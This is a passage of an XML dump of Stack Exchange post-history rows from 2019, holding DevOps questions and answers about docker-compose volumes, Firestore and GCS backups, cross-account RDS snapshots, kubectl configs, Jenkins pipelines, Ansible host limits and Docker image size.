&quot;run&quot;, &quot;start&quot;]&#xD;&#xA;&#xD;&#xA;Docker file contents are below&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      web: &#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - .:/app&#xD;&#xA;      test:&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - .:/app&#xD;&#xA;        command: [&quot;npm&quot;, &quot;run&quot;, &quot;test&quot;]&#xD;&#xA;&#xD;&#xA;Executed the below statement and the corresponding response,&#xD;&#xA;&#xD;&#xA;    $ docker run -it --rm -v &quot;$(pwd):/app&quot; busybox ls -l /app&#xD;&#xA;&#xD;&#xA;    the input device is not a TTY.  If you are using mintty, try prefixing the command with 'winpty'" ContentLicense="CC BY-SA 4.0" />
  <row Id="23302" PostHistoryTypeId="4" PostId="6916" RevisionGUID="bf172019-7e65-4aa8-8662-df6ae1b6c2e9" CreationDate="2019-05-04T17:49:08.703" UserId="13587" Comment="added 89 characters in body; edited title" Text="Error with declaring volumes in Docker-compose, 'no such file or directory, open '/app/package.json'" ContentLicense="CC BY-SA 4.0" />
  <row Id="23303" PostHistoryTypeId="5" PostId="6916" RevisionGUID="1fa55b59-4b80-4f32-8be1-1d95fc0d73f7" CreationDate="2019-05-04T17:55:30.677" UserId="13587" Comment="added 89 characters in body; edited title" Text="I am a very beginner in the Docker world, while I am trying to experiment with Docker file and Docker-Compose I am facing the below error, I now am able to understand it is related to declaring volumes in Docker compose, if I remove volumes, everything works fine, may be it is trying to refer back to the package.json  file in my local drive and somehow container is not finding the package.json inside the container, yet to figure out how to solve this.&#xD;&#xA;&#xD;&#xA;    enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;&#xD;&#xA;Here is the output from docker-compose:&#xD;&#xA;&#xD;&#xA;    Starting frontend_web_1  ... done&#xD;&#xA;    Starting frontend_test_1 ... done&#xD;&#xA;    Attaching to frontend_test_1, frontend_web_1&#xD;&#xA;    web_1   | npm ERR! path /app/package.json&#xD;&#xA;    web_1   | npm ERR! code ENOENT&#xD;&#xA;    web_1   | npm ERR! errno -2&#xD;&#xA;    web_1   | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    web_1   | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    web_1   | npm ERR! enoent&#xD;&#xA;    test_1  | npm ERR! path /app/package.json&#xD;&#xA;    test_1  | npm ERR! code ENOENT&#xD;&#xA;    test_1  | npm ERR! errno -2&#xD;&#xA;    web_1   |&#xD;&#xA;    test_1  | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    web_1   | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_226Z-debug.log&#xD;&#xA;    test_1  | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    test_1  | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    test_1  | npm ERR! enoent&#xD;&#xA;    test_1  |&#xD;&#xA;    test_1  | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    test_1  | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_236Z-debug.log&#xD;&#xA;    frontend_web_1 exited with code 254&#xD;&#xA;    frontend_test_1 exited with code 254&#xD;&#xA;&#xD;&#xA;Dockerfile.dev&#xD;&#xA;&#xD;&#xA;    FROM node:alpine&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    COPY package.json .&#xD;&#xA;    &#xD;&#xA;    RUN npm install&#xD;&#xA;    &#xD;&#xA;    COPY . .&#xD;&#xA;    &#xD;&#xA;    CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]&#xD;&#xA;&#xD;&#xA;Docker file contents are below&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      web: &#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - .:/app&#xD;&#xA;      test:&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - .:/app&#xD;&#xA;        command: [&quot;npm&quot;, &quot;run&quot;, &quot;test&quot;]&#xD;&#xA;&#xD;&#xA;My directory structure as as shown below,&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Executed the below statement and the corresponding response,&#xD;&#xA;&#xD;&#xA;    $ docker run -it --rm -v &quot;$(pwd):/app&quot; busybox ls -l /app&#xD;&#xA;&#xD;&#xA;    the input device is not a TTY.  If you are using mintty, try prefixing the command with 'winpty'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/e7aZO.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="23304" PostHistoryTypeId="2" PostId="8026" RevisionGUID="57c668d4-f043-4c3d-b594-c1875245d827" CreationDate="2019-05-04T18:52:11.200" UserId="14780" Text="I use Firebase.&#xD;&#xA;If you want to backup a Firebase bucket, they recommend doing this: https://firebase.google.com/docs/firestore/manage-data/export-import&#xD;&#xA;&#xD;&#xA;What is the problem? You are backing up a bucket inside other bucket.&#xD;&#xA;I want to backup my bucket in an external device. I just want to download all my bucket content (or a folder inside that bucket) as a zip file, and save it in my awesome pendrive.&#xD;&#xA;&#xD;&#xA;Is there a way to do it? I could not find a way to:&#xD;&#xA;1. Download a bucket as a file in my computer&#xD;&#xA;2. Or, download a folder that is inside a bucket.&#xD;&#xA;&#xD;&#xA;How I'm currently doing the backup? Running this in the Google Cloud console&#xD;&#xA;&#xD;&#xA;    gcloud beta firestore export gs://my-product-name-backup/12-31-2018 --collection-ids=users,problems,seeds,feeback&#xD;&#xA;&#xD;&#xA;So, my bucket is called `my-product-name-backup`. I'm OK with downloading the whole bucket, or just a folder (for example: `my-product-name-backup/03-03-2019`)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23305" PostHistoryTypeId="1" PostId="8026" RevisionGUID="57c668d4-f043-4c3d-b594-c1875245d827" CreationDate="2019-05-04T18:52:11.200" UserId="14780" Text="Download Google Cloud Bucket as a file (zip)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23306" PostHistoryTypeId="3" PostId="8026" RevisionGUID="57c668d4-f043-4c3d-b594-c1875245d827" CreationDate="2019-05-04T18:52:11.200" UserId="14780" Text="&lt;google-cloud-platform&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23307" PostHistoryTypeId="5" PostId="8023" RevisionGUID="b107fcde-2939-436c-9050-9cfda8e11677" CreationDate="2019-05-05T07:07:36.610" UserId="8251" Comment="explain cross account role access" Text="On top of protecting your root account as best as you can, you should be able to reduce the risk of such resource deletion if you have more than 1 resource to protect.&#xD;&#xA;&#xD;&#xA;For example if all AWS resources you had to protect were 2 RDS database servers, you could create 2 other accounts that have access to only copy the snapshots of one of your database servers each - and no other access to any other resource. This setup would then require an intruder to hack both root accounts of your main and one backup account each, which should be significantly more difficult.&#xD;&#xA;&#xD;&#xA;To copy snapshots from one account A (your current RDS account) to account B (your new account) you should need the following parts  (untested)&#xD;&#xA;&#xD;&#xA;- Create a new IAM role in Account A, for access from account B:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;- Create a new policy for reading RDS snapshots from account A&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;            &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;            &quot;Statement&quot;: [&#xD;&#xA;                {&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Action&quot;:&#xD;&#xA;                    [&#xD;&#xA;                        &quot;rds:CopyDbSnapshot&quot;,&#xD;&#xA;                        &quot;rds:DescribeDbSnapshots&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;                    ],&#xD;&#xA;                &quot;Resource&quot;: &quot;arn:aws:rds:::&quot;&#xD;&#xA;                }&#xD;&#xA;           ]&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;and assign it to the IAM role&#xD;&#xA;&#xD;&#xA;- Check that the &quot;trust policy&quot; is enabled as described in this walk through for another cross account action: https://aws.amazon.com/blogs/database/setting-up-for-cross-account-native-backup-and-restore-in-amazon-rds-for-microsoft-sql-server/&#xD;&#xA;&#xD;&#xA;- Then in account B, you should be able to run copy-db-snapshot from account B: https://docs.aws.amazon.com/cli/latest/reference/rds/copy-db-snapshot.html&#xD;&#xA;&#xD;&#xA;- To automate, I prefer to use Lambda functions, which can simply call AWS API calls, you can trigger them with a Cloudwatch Event&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/XrRGs.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="23308" PostHistoryTypeId="2" PostId="8027" RevisionGUID="f6d43134-fd44-4b04-8477-c2d7244b8de0" CreationDate="2019-05-05T07:59:20.310" UserId="4034" Text="`dev` packages are typically intended for development and build purposes. They usually contain header files and other resources for providing programmer APIs. For example, `python-dev` contains C headers for C/C++ applications that integrate python functionalities (which of course isn't necessarily python itself).&#xD;&#xA;&#xD;&#xA;The &quot;non-dev&quot; packages provide the actual application: for example, `python` provides the python interpreter binary, the `libpython3.so` shared library, and compiled python modules.&#xD;&#xA;&#xD;&#xA;For inspecting the contents of specific packages, you could use Alpine's excellent [package explorer][1]: locate the package of interest (for example, [`python3-dev`][2]), and click the &quot;Contents of package &quot; link at the bottom, to see the complete list of files installed by the package.&#xD;&#xA;&#xD;&#xA;[2]: https://pkgs.alpinelinux.org/package/v3.9/main/x86_64/python3-dev&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: https://pkgs.alpinelinux.org/packages" ContentLicense="CC BY-SA 4.0" />
  <row Id="23309" PostHistoryTypeId="5" PostId="8027" RevisionGUID="fcc7e1a4-af78-4822-8f2e-8d19ea708c7c" CreationDate="2019-05-05T13:00:27.377" UserId="4034" Comment="added 11 characters in body" Text="`dev` packages are typically intended for development and build purposes. They usually contain header files and other resources for providing programmer APIs. For example, `python-dev` contains C headers for C/C++ applications that integrate python functionalities (which of course isn't necessarily python itself).&#xD;&#xA;&#xD;&#xA;The &quot;non-dev&quot; packages provide the actual application or library: for example, `python` provides the python interpreter binary, the `libpython3.so` shared library, and compiled python modules.&#xD;&#xA;&#xD;&#xA;For inspecting the contents of specific packages, you could use Alpine's excellent [package explorer][1]: locate the package of interest (for example, [`python3-dev`][2]), and click the &quot;Contents of package &quot; link at the bottom, to see the complete list of files installed by the package.&#xD;&#xA;&#xD;&#xA;[2]: https://pkgs.alpinelinux.org/package/v3.9/main/x86_64/python3-dev&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]: https://pkgs.alpinelinux.org/packages" ContentLicense="CC BY-SA 4.0" />
  <row Id="23310" PostHistoryTypeId="2" PostId="8028" RevisionGUID="9bf2c702-2196-4f87-a77b-ac0f72f03c32" CreationDate="2019-05-05T16:56:52.150" UserId="13587" Text="as mentioned in the post, it was an issue with volumes, my PC's firewall is blocking the Docker from accessing the drives in my local machines, I reset the credentials in Docker for Desktop app in the shared drives section and it started to work back. Thanks you everyone, in fact BMitch was suggesting the same solution, but I was a completely beginner and I did not understand it well. Thanks everyone for your responses." ContentLicense="CC BY-SA 4.0" />
  <row Id="23311" PostHistoryTypeId="2" PostId="8029" RevisionGUID="cd2e2c94-5307-4f1f-af0a-b08a41aa481e" CreationDate="2019-05-05T16:59:44.097" UserId="10131" Text="That shows that your docker service is not yet running . Try start the service&#xD;&#xA;&#xD;&#xA;    open -a Docker&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23312" PostHistoryTypeId="5" PostId="8028" RevisionGUID="5366e63f-544a-4a32-bf18-8a21d6a83d58" CreationDate="2019-05-05T17:44:14.643" UserId="13587" Comment="added 28 characters in body" Text="As mentioned in the post/question, it was an issue with volumes, my PC's firewall was blocking the Docker from accessing the drives in my local machine, I reset the credentials in 'Docker for Desktop' app in the shared drives section and everything was back working once again :). Thank you everyone, in fact BMitch was suggesting the same solution, but I was a completely beginner and I did not comprehend it well. Thanks everyone for your responses." ContentLicense="CC BY-SA 4.0" />
  <row Id="23313" PostHistoryTypeId="2" PostId="8030" RevisionGUID="2f4e3fc1-c1c1-4767-907d-dc1faf6fba70" CreationDate="2019-05-05T17:48:40.343" UserId="10131" Text="Yes&#xD;&#xA;&#xD;&#xA;In the cloud theory there 's 3 types of cloud : Public Cloud, Private Cloud and Hybird Cloud&#xD;&#xA;&#xD;&#xA;Openstack one kind of the private cloud, the alternative is opennebula and cloudstack&#xD;&#xA;&#xD;&#xA;And Azure, AWS and GCP is kind of Public Cloud Service&#xD;&#xA;&#xD;&#xA;And the hybird cloud is the cloud that combine 2 of that type of cloud" ContentLicense="CC BY-SA 4.0" />
  <row Id="23314" PostHistoryTypeId="2" PostId="8031" RevisionGUID="faa6010f-987e-446f-8797-bbd5c65f0efb" CreationDate="2019-05-05T23:27:03.817" UserId="4369" Text="```&#xD;&#xA;    volumes:&#xD;&#xA;      - /usr/app/node_modules&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This volume could be overwriting what you have installed during the `RUN npm install` stage of the Dockerfile. As far as I can see you're not doing any installation when starting the container, so the contents of the mount are empty. If you remove that mount, the `node_modules` path will be populated with what was installed during the `docker build` (as defined by the Dockerfile) phase." ContentLicense="CC BY-SA 4.0" />
  <row Id="23315" PostHistoryTypeId="50" PostId="5635" RevisionGUID="06651da1-7296-4b43-b28a-47752efb4491" CreationDate="2019-05-06T10:02:35.520" UserId="-1" />
  <row Id="23316" PostHistoryTypeId="2" PostId="8032" RevisionGUID="ce737f02-9391-4c3a-b510-c34f319c2bac" CreationDate="2019-05-06T11:05:25.123" UserId="14789" Text="I have some app I want to test i.e. it has a window opening up and I want to press some of the buttons and fill in some text boxes, and I need to do the same process multiple times. &#xA;&#xA;&#xA;I heard about selenium but it seems it only works on web-based apps, whereas my program is an executable program (and quite a heavy one while at it).  Is there something similar to this, a module to be added to selenium or a library for python/Matlab/C?&#xA;&#xA;&#xA;I’d appreciate any help with this. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23317" PostHistoryTypeId="1" PostId="8032" RevisionGUID="ce737f02-9391-4c3a-b510-c34f319c2bac" CreationDate="2019-05-06T11:05:25.123" UserId="14789" Text="Is there any Selenium-like software for executables?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23318" PostHistoryTypeId="3" PostId="8032" RevisionGUID="ce737f02-9391-4c3a-b510-c34f319c2bac" CreationDate="2019-05-06T11:05:25.123" UserId="14789" Text="&lt;automation&gt;&lt;selenium&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23319" PostHistoryTypeId="2" PostId="8033" RevisionGUID="eeac5c02-f185-4f17-af22-b5640d7794f1" CreationDate="2019-05-06T12:01:06.853" UserId="12183" Text="It was a stupidity of me for not paying attention to etcdctl version. In my case, I had to use &lt;br&gt;`ETCDCTL_API=3 etcdctl member list`&#xD;&#xA;&lt;br&gt;&#xD;&#xA;And do not forget to export the env. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23320" PostHistoryTypeId="50" PostId="5624" RevisionGUID="021424ab-918f-449b-95d9-aa2b61017054" CreationDate="2019-05-06T12:02:15.407" UserId="-1" />
  <row Id="23323" PostHistoryTypeId="2" PostId="8034" RevisionGUID="7b565fd5-ab3a-4fc0-bf7f-605818b5107f" CreationDate="2019-05-06T13:19:00.937" UserId="210" Text="One could also use [dive](https://github.com/wagoodman/dive)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run --rm -it \&#xD;&#xA;    -v /var/run/docker.sock:/var/run/docker.sock \&#xD;&#xA;    wagoodman/dive:latest &lt;dive arguments...&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;to get a report about what waste could be removed from a docker image in order to reduce the size." ContentLicense="CC BY-SA 4.0" />
  <row Id="23325" PostHistoryTypeId="2" PostId="8035" RevisionGUID="72a70668-5f9c-496e-bec7-90acff1f0cbf" CreationDate="2019-05-06T20:04:36.943" UserId="7837" Text="If I run `kubectl get svc`, it seems to be the same across terminal sessions - how can use a local configuration that's only loaded for my current terminal session?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23326" PostHistoryTypeId="1" PostId="8035" RevisionGUID="72a70668-5f9c-496e-bec7-90acff1f0cbf" CreationDate="2019-05-06T20:04:36.943" UserId="7837" Text="use different kubectl configs in different terminal sessions" ContentLicense="CC BY-SA 4.0" />
  <row Id="23327" PostHistoryTypeId="3" PostId="8035" RevisionGUID="72a70668-5f9c-496e-bec7-90acff1f0cbf" CreationDate="2019-05-06T20:04:36.943" UserId="7837" Text="&lt;kubernetes&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23328" PostHistoryTypeId="2" PostId="8036" RevisionGUID="3f83c1c1-8b9f-4fed-8709-6942da38c121" CreationDate="2019-05-06T20:20:41.567" UserId="6" Text="Set the `KUBECONFIG` environment variable with a value that includes the relevant Kubernetes configuration file, the environment variable only applies to your current session/window." ContentLicense="CC BY-SA 4.0" />
  <row Id="23329" PostHistoryTypeId="5" PostId="8035" RevisionGUID="d44ecc83-e282-4ccd-b590-ffca3dd57430" CreationDate="2019-05-06T20:25:19.803" UserId="7837" Comment="added 318 characters in body" Text="If I run `kubectl get svc`, it seems to be the same across terminal sessions - how can use a local configuration that's only loaded for my current terminal session?&#xD;&#xA;&#xD;&#xA;If the answer is a local config file and using KUBECONFIG env var to point to it, then how can I generate a local config file? If I use:&#xD;&#xA;&#xD;&#xA;    export KUBECONFIG=`dirname &quot;$BASH_SOURCE&quot;/conf`&#xD;&#xA;    aws eks update-kubeconfig --profile=alex --name ignitecluster&#xD;&#xA;&#xD;&#xA;I get this error:&#xD;&#xA;&#xD;&#xA;&gt; Content not a dictionary.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23330" PostHistoryTypeId="2" PostId="8037" RevisionGUID="9627e949-83d2-4791-a519-fad018a5d423" CreationDate="2019-05-06T21:30:40.433" UserId="7837" Text="If I have a jenkins docker image:&#xD;&#xA;&#xD;&#xA;    FROM jenkins/jenkins:lts&#xD;&#xA;&#xD;&#xA;is there a way to pre-install certain plugins using the Docker image, for example all the bitbucket plugins:&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;I assume we'd probably have to unpack some tars to the filesystem somewhere like so:&#xD;&#xA;&#xD;&#xA;     FROM jenkins/jenkins:lts&#xD;&#xA;    &#xD;&#xA;     USER root&#xD;&#xA;    &#xD;&#xA;     WORKDIR /jenkins/main/dir&#xD;&#xA;    &#xD;&#xA;     RUN tar -xvf some-jenkins-plugins.tar&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/WPa9x.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="23331" PostHistoryTypeId="1" PostId="8037" RevisionGUID="9627e949-83d2-4791-a519-fad018a5d423" CreationDate="2019-05-06T21:30:40.433" UserId="7837" Text="Pre-install Jenkins plugins using Docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="23332" PostHistoryTypeId="3" PostId="8037" RevisionGUID="9627e949-83d2-4791-a519-fad018a5d423" CreationDate="2019-05-06T21:30:40.433" UserId="7837" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23336" PostHistoryTypeId="2" PostId="8039" RevisionGUID="aebdca9c-8d6b-4026-9691-3997c376cf6d" CreationDate="2019-05-07T00:30:59.520" UserId="960" Text="You seem to be confused a bit about how Firestore stores data and what Google is suggesting you do.&#xD;&#xA;&#xD;&#xA;&gt; What is the problem? You are backing up a bucket inside other bucket.&#xD;&#xA;&#xD;&#xA;This is not correct.  Firestore stores its data inside some sort of mostly opaque database format.  If you are copying this out to a GCS bucket, that really _is_ an export into a different storage medium and a different format.&#xD;&#xA;&#xD;&#xA;That being said, it's still reasonable that you might want to keep your data backups outside of Google (although GCS has [a good SLA](https://cloud.google.com/storage/sla)).  To do that, after you've exported your Firestore data to a GCS bucket, use [the gsutil utility](https://cloud.google.com/storage/docs/gsutil) to copy that bucket down:&#xD;&#xA;&#xD;&#xA;    gsutil cp -r gs://your-bucket-name ." ContentLicense="CC BY-SA 4.0" />
  <row Id="23340" PostHistoryTypeId="2" PostId="8041" RevisionGUID="3dfbc070-4beb-4c04-bb25-84cbc24a46d6" CreationDate="2019-05-07T02:59:49.410" UserId="14791" Text="I am new to Jenkins, Groovy and pipelines. I have created a simple pipeline stage like so:&#xD;&#xA;```groovy&#xD;&#xA;//working build but not setting env variables&#xD;&#xA;node('build-01') {&#xD;&#xA;    stage('Building') {&#xD;&#xA;        echo &quot;[*] Starting build (id: ${env.BUILD_ID}) on ${env.JENKINS_URL}&quot;&#xD;&#xA;        try {&#xD;&#xA;            sh 'ls -l'&#xD;&#xA;            //ls shows the damn file&#xD;&#xA;            sh '. setup-target'&#xD;&#xA;        } catch(all) { &#xD;&#xA;            sh &quot;echo 'Failed to run setup-target script with error: ' ${all}&quot;&#xD;&#xA;        }&#xD;&#xA;    }    &#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This works. But I want to modify/add environment variables to the session running this script (this script is a bash file with the correct shebang line on top). So I did:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;node('build-01') {&#xD;&#xA;    withEnv([&quot;CMAKE_INSTALL_DIR=${WORKSPACE}&quot;, &quot;SDK_INSTALL_DIR=${WORKSPACE}&quot;]){&#xD;&#xA;        stage('Building') {&#xD;&#xA;            echo &quot;[*] Starting build (id: ${env.BUILD_ID}) on ${env.JENKINS_URL}&quot;&#xD;&#xA;            try {&#xD;&#xA;                sh 'ls -l'&#xD;&#xA;                //ls shows the damn file&#xD;&#xA;                sh '. setup-target'&#xD;&#xA;            } catch(all) { &#xD;&#xA;                sh &quot;echo 'Failed to run setup-target script with error: ' ${all}&quot;&#xD;&#xA;            }&#xD;&#xA;        }    &#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;This errors out with:&#xD;&#xA;&gt;&gt;/home/jenkins-sw/ci/workspace/myWorkSpace@tmp/durable-6d30b48d/script.sh: line 1: .: setup-target: file not found&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;&gt;&gt;Failed to run setup-target script with error:  hudson.AbortException: script returned exit code 1&#xD;&#xA;&#xD;&#xA;But the environment variables are set, I check this by doing a `sh 'printenv'` right below the `ls -l` line. Interestingly `ls -l` does show the script. &#xD;&#xA;&#xD;&#xA;What am I missing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23341" PostHistoryTypeId="1" PostId="8041" RevisionGUID="3dfbc070-4beb-4c04-bb25-84cbc24a46d6" CreationDate="2019-05-07T02:59:49.410" UserId="14791" Text="Set environment variables then run script in Jenkins Scripted Pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="23342" PostHistoryTypeId="3" PostId="8041" RevisionGUID="3dfbc070-4beb-4c04-bb25-84cbc24a46d6" CreationDate="2019-05-07T02:59:49.410" UserId="14791" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;shell-script&gt;&lt;groovy&gt;&lt;environment-variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23343" PostHistoryTypeId="2" PostId="8042" RevisionGUID="89584a3b-b0c5-4459-b0a2-b91a5376ae68" CreationDate="2019-05-07T06:51:46.357" UserId="14770" Text="I am new to Ansible and i have a question about limitting hosts in a host group at running commands.I have these host groups in my inventory:  &#xD;&#xA;&#xD;&#xA;    [primary]  &#xD;&#xA;    host1  &#xD;&#xA;    host2  &#xD;&#xA;    [standby]  &#xD;&#xA;    host3  &#xD;&#xA;    host4  &#xD;&#xA;&#xD;&#xA;i have thses configuration in my `.yml`:  &#xD;&#xA;&#xD;&#xA;      ---&#xD;&#xA;      - hosts: primary&#xD;&#xA;      roles:&#xD;&#xA;         - automation  &#xD;&#xA;&#xD;&#xA;for example i want to run this command `ansible -playbook -i /path  test.yml --tags automation` on `host2` only. what should i do?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23344" PostHistoryTypeId="1" PostId="8042" RevisionGUID="89584a3b-b0c5-4459-b0a2-b91a5376ae68" CreationDate="2019-05-07T06:51:46.357" UserId="14770" Text="how to run an Ansible command for specific number of hosts" ContentLicense="CC BY-SA 4.0" />
  <row Id="23345" PostHistoryTypeId="3" PostId="8042" RevisionGUID="89584a3b-b0c5-4459-b0a2-b91a5376ae68" CreationDate="2019-05-07T06:51:46.357" UserId="14770" Text="&lt;ansible&gt;&lt;linux&gt;&lt;automation&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23346" PostHistoryTypeId="2" PostId="8043" RevisionGUID="23e0246a-c20a-4ee2-852a-8b86a6ae7a1c" CreationDate="2019-05-07T07:16:40.530" UserId="4224" Text="Use the [`--limit`][1] option to select a subset of hosts:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ansible-playbook -i /path  test.yml --tags automation --limit host2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Its description from [ansible-playbook documentation][2]:&#xD;&#xA;&gt; further limit selected hosts to an additional pattern&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/intro_patterns.html?highlight=--limit&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/latest/cli/ansible-playbook.html#cmdoption-ansible-playbook-l" ContentLicense="CC BY-SA 4.0" />
  <row Id="23348" PostHistoryTypeId="2" PostId="8044" RevisionGUID="891eeb9e-0951-4b4c-b4f0-fd8320ec9bd6" CreationDate="2019-05-07T09:51:19.097" UserId="14800" Text="I've created Jenkins Pipeline Job, activated &quot;Build when a change is pushed to BitBucket&quot; trigger. I've also specified branches to build. But pipeline is triggered by all branch changes.&#xD;&#xA;Also I've created Freestyle job with similar configuration and trigger works correctly.&#xD;&#xA;General Webhook didn't help, it triggered all jobs in Jenkins." ContentLicense="CC BY-SA 4.0" />
  <row Id="23349" PostHistoryTypeId="1" PostId="8044" RevisionGUID="891eeb9e-0951-4b4c-b4f0-fd8320ec9bd6" CreationDate="2019-05-07T09:51:19.097" UserId="14800" Text="How to trigger Jenkins Pipeline by push in specific branch in Bitbucket?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23350" PostHistoryTypeId="3" PostId="8044" RevisionGUID="891eeb9e-0951-4b4c-b4f0-fd8320ec9bd6" CreationDate="2019-05-07T09:51:19.097" UserId="14800" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;git&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23351" PostHistoryTypeId="50" PostId="6773" RevisionGUID="8c4999a2-7171-40f5-b42d-d5b6443a74cd" CreationDate="2019-05-07T10:00:27.080" UserId="-1" />
  <row Id="23356" PostHistoryTypeId="2" PostId="8046" RevisionGUID="0f2e561c-dc71-463a-83e7-3900e257ddb5" CreationDate="2019-05-07T12:38:54.647" UserId="7730" Text="Several processes are involved:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;First, optimize your image layers for reuse. Put frequently changing steps later in the Dockerfile to increase the chances that early layers are cached from previous builds. A reused layer will show up as more disk space in a `docker image ls`, but if you examine the underlying filesystem, only one copy of each layer is ever stored on disk. That means 3 images of 2 GB each, but which only have 50 MB different in the last few layers the build, will only take up 2.1 GB of disk space, even though the listing makes it appear that they are using 6 GB since you are double counting each of the reused layers.&#xD;&#xA;&#xD;&#xA;Layer reuse is why you see images with infrequently changing build dependencies install those first before copying in code. See any python example that has a pattern like:&#xD;&#xA;&#xD;&#xA;    FROM python&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    COPY requirements.txt .&#xD;&#xA;    RUN pip install -r requirements.txt&#xD;&#xA;    # note how the code is copied only after the pip install&#xD;&#xA;    # since code changes but requirements.txt doesn't&#xD;&#xA;    COPY . .&#xD;&#xA;    CMD [&quot;gunicorn&quot;, &quot;app:app&quot;]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Pick a minimal base image. This is why you see people go from `ubuntu` to `debian:slim` (the slim variants are smaller, shipping with fewer tools), or even alpine. This reduces the size of your starting point, and is very helpful if you are constantly pulling new versions of the base image. However, if your base image rarely changes, layer reuse removes much of the advantage of a minimal base image.&#xD;&#xA;&#xD;&#xA;The smallest base image you can pick is `scratch`, which is nothing, no shell or libraries, and is only useful with statically compiled binaries. Otherwise, pick a base image that includes the tools you need without lots of tools you don't need.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Next, any step that changes or deletes a file should be combined with previous steps that create that file. Otherwise the layered filesystem, which uses copy-on-write even on things like a file permission change, will have the original file in a previous layer and the image size will not shrink when 